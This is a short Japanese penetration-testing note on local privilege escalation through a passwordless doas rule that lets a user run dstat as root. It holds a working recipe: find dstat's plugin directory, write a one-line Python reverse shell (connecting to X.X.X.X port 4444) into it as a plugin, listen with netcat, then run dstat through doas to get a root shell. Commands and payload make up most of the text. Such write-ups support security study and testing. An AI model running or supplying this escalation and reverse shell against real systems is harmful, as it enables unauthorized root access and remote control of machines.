脆弱性検査において、権限昇格で見たことがなかったパターンに遭遇したので記載しておく。
TL;DR
Doasというコマンドがあり、/usr/local/etc/doas.confに遭遇
ルート権限でコマンドが実行できる!
サーバーを検査していると以下の設定を見つける。
permit nopass player as root cmd /usr/bin/dstat
/usr/bin/dstat というLinuxのシステムコマンドがあり、pythonで記載されている。
以下にsudoを利用したdstatの権限昇格の例がある。dstatはカスタムプラグインが簡単にかけ、それを実行できる。ルート権限で動かせると、それのプラグインもルート権限で動作する。
これをdoasを利用して同じことをしてみる。
まず、dstatのディレクトリを確認する
find / -type d -name dstat 2>/dev/null
書き込み権限があるか確認
ls -al /usr/local/share/dstat
PythonのReverse Shellをプラグインとして登録する。
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('X.X.X.X',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);" > /usr/local/share/dstat/dstat_temp.py
Kali側では以下で待機する。
nc -nlvp 4444
権限昇格コマンドは以下を実行。
doas -u root /usr/bin/dstat --temp
ハッピーハッキング